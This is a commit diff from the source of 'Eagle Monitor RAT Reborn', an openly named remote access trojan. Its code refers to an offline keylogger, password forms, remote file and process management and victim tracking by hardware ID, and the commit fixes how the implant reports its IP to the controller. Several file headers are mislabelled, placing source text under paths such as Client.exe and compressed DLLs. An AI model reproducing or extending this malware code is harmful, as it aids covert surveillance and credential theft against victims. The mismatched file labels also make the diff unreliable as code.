Network issue

* Fixed wan connection (local endpoint)

Author: arsium

Remote Access Tool/Client/Networking/ClientHandler.cs

@@ -15,12 +15,6 @@ namespace Client
 {
     internal class ClientHandler
     {
-#if DEBUG
-
-#else
-        internal static string hostIp = "127.0.0.1";    //%DNS%
-        internal static int port = 7788;                //999999     
-#endif
         internal Host host { get; set; }
         internal string HWID { get; set; }
         internal string baseIp { get; set; }
@@ -87,9 +81,7 @@ public void EndConnect(IAsyncResult ar)
             if (Connected)
             {
                 ConnectedPacket connectionPacket = new ConnectedPacket();
-                connectionPacket.baseIp = this.socket.LocalEndPoint.ToString();
                 this.HWID = connectionPacket.HWID;
-                this.baseIp = socket.LocalEndPoint.ToString();
                 SendPacket(connectionPacket);
                 if (StarterClass.KeylogOn)
                     StopOfflineKeyLogger();

Remote Access Tool/Client/Networking/PacketHandler.cs

@@ -28,6 +28,10 @@ internal static void ParsePacket(IPacket packet)
             {
                 switch (packet.packetType)
                 {
+                    case PacketType.CONNECTED:
+                        StarterClass.clientHandler.baseIp = packet.baseIp;
+                        break;
+
                     case (PacketType.CLOSE_CLIENT):
                         StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
                         break;

Remote Access Tool/Client/obj/Release/Client.csproj.AssemblyReference.cache

@@ -28,6 +28,10 @@ internal static void ParsePacket(IPacket packet)
             {
                 switch (packet.packetType)
                 {
+                    case (PacketType.CONNECTED):
+                        EntryClass.clientHandler.baseIp = packet.baseIp;
+                        break;
+
                     case (PacketType.CLOSE_CLIENT):
                         EntryClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
                         break;

Remote Access Tool/Client/obj/Release/Client.exe

@@ -23,6 +23,9 @@ Namespace Client
 
 			Try
 				Select Case packet.packetType
+					Case PacketType.CONNECTED
+						StarterClass.clientHandler.baseIp = packet.baseIp
+
 					Case (PacketType.CLOSE_CLIENT)
 						StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
 

Remote Access Tool/Client/obj/Release/Costura/29C8F3F056BD55B0107320E751E07AC6C9A0FEA1.costura.offkeylogger.dll.compressed

@@ -8,7 +8,7 @@ Imports System.Threading
 '
 
 Namespace Client
-    Public Class EntryClass
+	Public Class EntryClass
 		Friend Shared KeylogOn As Boolean
 
 		Private Shared MT As Mutex

Remote Access Tool/Client/obj/Release/Costura/3709343EA1EE68BD1B7AE6CF43D2FF0C9035083F.costura.packetlib.dll.compressed

@@ -23,6 +23,9 @@ Namespace Client
 
 			Try
 				Select Case packet.packetType
+					Case PacketType.CONNECTED
+						EntryClass.clientHandler.baseIp = packet.baseIp
+
 					Case (PacketType.CLOSE_CLIENT)
 						EntryClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0)
 

Remote Access Tool/Client/obj/Release/Costura/6C881D2661F4690A73F0AF35DE3E80823BFECC8B.costura.packetlib.dll.compressed

@@ -54,28 +54,25 @@ private void Settings()
             }
             else 
             {
-                Process p = Process.Start("Eagle Monitor Configurator.exe");
+                Process proc = Process.Start("Eagle Monitor Configurator.exe");
                 Miscellaneous.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
-                p.WaitForExit();
-            }
-
-            if (File.Exists(Miscellaneous.GPath + "\\masstasks.json"))
-            {
-                //TODO
+                proc.WaitForExit();
             }
         }
         private void SettingsLoaded(IAsyncResult ar) 
         {
             loadSettings.EndInvoke(ar);
-
-           label2.Text = "Listening on : { ";
-            foreach (int p in Miscellaneous.settings.ports)
+            this.BeginInvoke((MethodInvoker)(() =>
             {
-                label2.Text += p.ToString() + ", ";
-            }
+                this.label2.Text = "Listening on : { ";
+                foreach (int p in Miscellaneous.settings.ports)
+                {
+                    this.label2.Text += p.ToString() + ", ";
+                }
 
-            label2.Text = label2.Text.Remove(label2.Text.Length - 2, 2);
-            label2.Text += " }";
+                this.label2.Text = this.label2.Text.Remove(this.label2.Text.Length - 2, 2);
+                this.label2.Text += " }";
+            }));
         }
 
         private string PerformanceCalculator()
@@ -96,10 +93,10 @@ private void EndPerformanceCalculator(IAsyncResult ar)
 
         private void Main_Load(object sender, EventArgs e)
         {
+
             new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(dataGridView1, guna2VScrollBar1, true);
             this.Text = "Eagle Monitor RAT Reborn" + " @Welcome " + Environment.UserName + " !";
             this.label1.Text = "Eagle Monitor RAT Reborn" + " @Welcome " + Environment.UserName + " !";
-            //new BlurForm(this);
             Miscellaneous.Enable(this.dataGridView1);
         }
 

Remote Access Tool/Client/obj/Release/Costura/880965ADA0BDB3A8BADF411141DACEE18DA42BFF.costura.offkeylogger.dll.compressed

@@ -151,14 +151,14 @@ private IPacket PacketParser(byte[] BufferPacket)
             }
             catch (Exception)
             {
-                this.Dispose();
                 return null;
             }
         }
         private void EndPacketRead(IAsyncResult ar)
         {
             try
             {
+
                 IPacket packet = readPacketAsync.EndInvoke(ar);
 
                 if (packet != null)
@@ -197,7 +197,7 @@ private void EndPacketRead(IAsyncResult ar)
                     }
                 }
             }
-            catch (Exception)
+            catch (Exception)// ex)
             {
                 //MessageBox.Show(ex.ToString());
                 this.Dispose();
@@ -309,11 +309,11 @@ public void Dispose()
                 socket = null;
             }
 
-            if (clientRow != null) 
+            if (this.clientRow != null) 
             {
                 Program.mainForm.dataGridView1.BeginInvoke((MethodInvoker)(() =>
                 {
-                    Program.mainForm.dataGridView1.Rows.Remove(clientRow);
+                    Program.mainForm.dataGridView1.Rows.Remove(this.clientRow);
                 }));
 
                 Utils.Miscellaneous.CloseForm(passwordsForm);

Remote Access Tool/Client/obj/Release/Costura/975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed

@@ -1,4 +1,4 @@
-using EagleMonitor.PacketParser;
+using EagleMonitor.PacketParser;
 using PacketLib;
 using PacketLib.Packet;
 using System;
@@ -59,9 +59,7 @@ private void Log(IAsyncResult ar)
                         break;
 
                     case PacketType.CONNECTED:
-                        //row.Cells["Column5"].Value = ((ConnectedPacket)packet).clientStatus;
-                        //This provokes key not found in dictionary
-                        //ClientHandler.ClientHandlersList[packet.baseIp].clientStatus;
+                        row.Cells["Column5"].Value = ClientHandler.ClientHandlersList[packet.baseIp].clientStatus;
                         break;
 
                     case PacketType.FM_SHORTCUT_PATH:

Remote Access Tool/Client/obj/Release/Costura/A6E7CC03D3E875EB1967C45657121967BD09BF5C.costura.offkeylogger.dll.compressed

@@ -1,4 +1,4 @@
-using EagleMonitor.Networking;
+using EagleMonitor.Networking;
 using EagleMonitor.Utils;
 using Eagle_Monitor_Tasks_Configurator;
 using PacketLib.Packet;
@@ -21,6 +21,10 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
         {
             new Thread(() =>
             {
+                clientHandler.HWID = connectedPacket.HWID;
+                connectedPacket.baseIp = clientHandler.IP;
+                clientHandler.SendPacket(new BaseIpPacket(clientHandler.IP));
+
                 if (Miscellaneous.settings.notificationSound)
                 {
                     byte[] sound = File.ReadAllBytes(Utils.Miscellaneous.GPath + "\\Notification\\notification.wav");
@@ -31,18 +35,15 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
                     }
                 }
 
-                clientHandler.HWID = connectedPacket.HWID;
 
                 if (!Directory.Exists(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID))
                 {
                     Directory.CreateDirectory(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID);
-                    //connectedPacket.clientStatus = "New Client";
-                    //clientHandler.clientStatus = "New Client";
+                    clientHandler.clientStatus = "New Client";
                 }
                 else
                 {
-                   // clientHandler.clientStatus = "Old Client";
-                    //connectedPacket.clientStatus = "Old Client";
+                    clientHandler.clientStatus = "Old Client";
                 }
 
                 clientHandler.clientPath = Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID;
@@ -90,72 +91,6 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli
                 }
                 return;
             }).Start();
-
-           /* clientHandler.HWID = connectedPacket.HWID;
-
-            if (!Directory.Exists(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID))
-            {
-                Directory.CreateDirectory(Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID);
-                clientHandler.clientStatus = "New Client";
-            }
-            else
-            {
-                clientHandler.clientStatus = "Old Client";
-            }
-
-            if (Miscellaneous.settings.notificationSound)
-            {
-                byte[] sound = File.ReadAllBytes(Utils.Miscellaneous.GPath + "\\Notification\\notification.wav");
-                using (MemoryStream ms = new MemoryStream(sound))
-                {
-                    SoundPlayer player = new SoundPlayer(ms);
-                    player.Play();
-                }
-            }
-
-            clientHandler.clientPath = Miscellaneous.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID;
-
-            Program.mainForm.dataGridView1.BeginInvoke((MethodInvoker)(() =>
-            {
-                int rowId = Program.mainForm.dataGridView1.Rows.Add();
-
-                DataGridViewRow row = Program.mainForm.dataGridView1.Rows[rowId];
-                if (File.Exists(Miscellaneous.GPath + "\\Flags\\" + connectedPacket.RegionFlag.ToLower() + ".png"))
-                    row.Cells["Column1"].Value = Miscellaneous.resizeImage(Image.FromFile(Miscellaneous.GPath + "\\Flags\\" + connectedPacket.RegionFlag.ToLower() + ".png"), new Size(26, 26));
-                else
-                    row.Cells["Column1"].Value = Miscellaneous.resizeImage(Image.FromFile(Miscellaneous.GPath + "\\Flags\\" + "UKN" + ".png"), new Size(26, 26));
-                row.Cells["Column2"].Value = connectedPacket.HWID;
-                row.Cells["Column3"].Value = clientHandler.IP;
-                row.Cells["Column4"].Value = connectedPacket.OSName;
-                row.Cells["Column5"].Value = connectedPacket.Username;
-                row.Cells["Column6"].Value = connectedPacket.RAM;
-                row.Cells["Column7"].Value = connectedPacket.RegionName;
-                row.Cells["Column8"].Value = connectedPacket.Privilege;
-                row.Cells["Column9"].Value = connectedPacket.Is64Bit;
-
-                if (connectedPacket.Is64Bit == "32")
-                {
-                    clientHandler.is64bitClient = false;
-                }
-                else
-                {
-                    clientHandler.is64bitClient = true;
-                }
-
-                row.Cells["Column10"].Value = clientHandler.serverPort.ToString();
-                clientHandler.clientRow = row;
-                Program.mainForm.dataGridView1.ClearSelection();
-                connectedPacket = null;
-
-            }));
-
-            if (StartupTaskWorker.startupTaskExisting)
-            {
-                foreach (ITasks task in StartupTaskWorker.allTask)
-                {
-                    new StartupTaskWorker(task, clientHandler);
-                }
-            }*/
         }
     }
 }

Remote Access Tool/Client/obj/x64/Release/Client.csproj.AssemblyReference.cache

@@ -1,5 +1,6 @@
 using EagleMonitor.Networking;
 using PacketLib.Packet;
+using System;
 using System.Drawing;
 using System.Threading;
 using System.Windows.Forms;
@@ -102,11 +103,11 @@ public FileManagerPacketHandler(FileManagerPacket fileManagerPacket, ClientHandl
                         clientHandler.fileManagerForm.loadingCircle1.Visible = false;
                         clientHandler.fileManagerForm.loadingCircle1.Active = false;
 
-                        fileManagerPacket = null;
+                        //fileManagerPacket = null;
                     }));
                     return;
                 }
-                catch { }
+                catch(Exception ex) { MessageBox.Show(ex.ToString()); }
             }).Start();
         }
     }

Remote Access Tool/Client/obj/x64/Release/Client64.exe

@@ -21,7 +21,7 @@ public ProcessKillerPacketHandler(ProcessKillerPacket packet, ClientHandler clie
                     {
                         clientHandler.processManagerForm.processDataGridView.Rows.Remove(clientHandler.processManagerForm.processDataGridView.Rows[packet.rowIndex]);
 
-                        packet = null;
+                        //packet = null;
                     }));
                     return;
                 }

Remote Access Tool/Client/obj/x64/Release/Costura/975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed

@@ -0,0 +1,21 @@
+using System;
+
+namespace PacketLib.Packet
+{
+    [Serializable]
+    public class BaseIpPacket : IPacket
+    {
+        public BaseIpPacket(string baseIp) : base()
+        {
+            this.packetType = PacketType.CONNECTED;
+            this.baseIp = baseIp;
+        }
+
+        public string HWID { get; set; }
+        public string baseIp { get; set; }
+        public byte[] plugin { get; set; }
+        public PacketType packetType { get; }
+        public string status { get; set; }
+        public string datePacketStatus { get; set; }
+    }
+}